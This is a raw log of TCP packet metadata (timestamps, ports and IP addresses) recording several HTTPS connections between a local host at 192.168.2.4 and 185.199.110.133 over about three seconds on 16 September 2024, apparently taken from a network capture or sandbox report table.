Sep 16, 2024 19:33:11.044047117 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.044054031 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.044079065 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.044112921 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.044123888 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.044183969 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.049701929 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.049715996 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049742937 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049787045 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.049819946 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049868107 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.049879074 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049922943 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049940109 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049964905 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.049998999 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.049998999 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.050017118 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.050039053 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.050066948 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.050168037 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.050168991 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.050168991 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.050168991 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.050168991 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.227407932 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.251403093 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.252535105 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.259402037 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337002993 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337064981 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337100029 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337161064 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337189913 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337227106 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337245941 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337274075 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337274075 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337275028 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337297916 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337315083 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337344885 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337344885 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337352037 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337366104 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337378025 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337395906 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337409019 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337426901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337430954 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337445021 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337450981 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337469101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337481976 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337488890 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337502956 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337512016 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337542057 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337554932 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337575912 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337584019 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337584019 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337594032 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337605000 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337614059 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337616920 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337650061 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337658882 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337680101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337701082 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337713003 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337713003 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337722063 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337733030 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337744951 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337759972 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337774992 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337795019 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337806940 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337820053 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337846041 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337852001 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337866068 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337872982 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337898970 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337938070 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337938070 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.337939024 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.337975025 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.338023901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.338023901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.338023901 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.344188929 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.386904001 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.386921883 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.386970997 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387022972 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387068033 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387124062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387124062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387124062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387124062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387149096 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387171030 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387223959 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387259007 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387279987 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387324095 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387324095 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387324095 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387324095 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387341976 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387378931 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387429953 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.387480974 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387480974 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387480974 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.387516975 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.406727076 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.551419020 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.552196026 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.595448971 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.635404110 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.636200905 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.679400921 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.679999113 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720335007 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720380068 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720412970 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720438004 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720465899 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720485926 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720526934 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720551014 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720571995 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720593929 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720638990 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720637083 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720669985 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720717907 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.720788002 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720788002 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720788002 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.720788002 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.931421041 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958092928 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958115101 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958144903 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958173037 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958265066 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958278894 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958374977 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958426952 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958458900 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958477020 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958493948 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958519936 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958527088 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958543062 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958561897 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958579063 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958633900 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958662033 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958690882 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958726883 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958750963 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958770037 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958796024 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958811998 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958827972 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958869934 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958877087 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958884001 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958916903 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958931923 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958941936 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.958982944 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.958990097 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959022999 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959045887 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959062099 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959096909 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959115028 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959148884 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959150076 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959183931 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959232092 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959254980 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959275007 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959301949 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959326029 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959372044 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959420919 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959458113 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959460020 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959494114 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959530115 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959552050 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959558010 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959578991 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959603071 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959634066 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959645987 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959655046 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959703922 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959705114 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:11.959765911 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959829092 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959889889 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:11.959944010 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008451939 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008491993 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008517981 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008569956 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008583069 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008605957 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008634090 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008667946 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008667946 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008701086 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008722067 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008742094 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008785963 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.008826971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008826971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008826971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008826971 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.008877039 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.095415115 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.096221924 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.171418905 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.172234058 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.219450951 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.220232010 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.348644972 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.348700047 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.348800898 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.348871946 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.348908901 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.348942995 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.349004984 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.349082947 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.507412910 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.508222103 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.555447102 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.603431940 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.603498936 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.641086102 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.647862911 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.647886038 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.647952080 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648006916 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648019075 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648045063 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648075104 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648075104 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648097038 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648119926 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648152113 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648152113 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648171902 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648210049 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648245096 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.648296118 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648296118 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.648296118 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:12.859401941 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:12.860074997 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.019434929 CEST	443	49766	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.020212889 CEST	49766	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087275982 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087311029 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087342978 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087377071 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087413073 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087457895 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087479115 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087543964 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087555885 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087610960 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087644100 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087644100 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087661028 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.087696075 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.087722063 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.295443058 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.295512915 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.389273882 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.389302015 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.389344931 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.389374018 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.389457941 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.389477015 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.389520884 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.389558077 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.389558077 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.389648914 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.435441971 CEST	443	49763	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.435631037 CEST	49763	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.595403910 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.595455885 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.709737062 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.709791899 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.709832907 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.709907055 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.709930897 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.709956884 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.709976912 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.710026026 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.710067034 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.710067034 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.710093975 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.919405937 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.919485092 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.998646975 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.998701096 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.998754978 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.998785019 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.998817921 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.998837948 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.998857975 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:13.998905897 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:13.998979092 CEST	49767	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.175406933 CEST	443	49765	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.175474882 CEST	49765	443	192.168.2.4	185.199.110.133
Sep 16, 2024 19:33:14.203449011 CEST	443	49767	185.199.110.133	192.168.2.4
Sep 16, 2024 19:33:14.204860926 CEST	49767	443	192.168.2.4	185.199.110.133
